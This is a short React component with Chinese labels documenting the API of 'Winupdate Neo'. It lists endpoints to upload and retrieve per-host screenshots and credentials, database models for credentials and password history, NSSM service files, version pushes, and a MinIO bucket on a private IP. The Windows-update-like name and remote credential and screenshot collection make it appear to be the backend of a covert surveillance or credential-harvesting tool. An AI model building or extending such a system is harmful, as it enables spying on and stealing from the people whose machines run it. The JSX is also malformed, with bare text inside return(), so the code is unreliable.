export default function ApiTest() {
return (
Winupdate Neo API 测试
API 端点
- • GET /api/hosts - 获取主机列表
- • POST /api/hosts/[hostname]/screenshots - 上传截图
- • GET /api/hosts/[hostname]/screenshots - 获取截图记录
- • POST /api/hosts/[hostname]/credentials - 上传凭据
- • GET /api/hosts/[hostname]/credentials - 获取凭据
- • GET /api/hosts/[hostname]/time-distribution - 获取时间分布
- • GET /api/version - 获取最新版本
- • POST /api/upload/version - 上传新版本
- • GET /api/screenshots/[fileId] - 获取截图文件
- • GET /api/downloads/[fileId] - 下载文件
数据库模型
- • Host - 主机信息
- • Record - 记录信息
- • Window - 窗口信息
- • Screenshot - 截图信息
- • Credential - 凭据信息
- • Password - 密码历史
- • Version - 版本信息
- • Nssm - NSSM 文件
环境变量
- • DATABASE_URL - 数据库连接字符串
- • AUTH_USERNAME - 认证用户名
- • AUTH_PASSWORD - 认证密码
- • PORT - 服务端口
MinIO 对象存储
- • 服务器: 192.168.5.13:9000
- • Bucket: winupdate
- • 存储结构: 按类型/年/月/日/主机名分层
- • 截图路径: screenshots/年/月/日/主机名/文件
- • 版本路径: versions/年/月/文件
- • 支持元数据存储和检索
- • 自动文件分布和负载均衡
性能优化特性
- • 分层目录结构避免单目录文件过多
- • 数据库存储 objectName 避免搜索开销
- • 文件元数据存储在 MinIO 中
- • 支持并发上传下载
- • 缓存友好的文件访问
- • 自动压缩和去重
)
}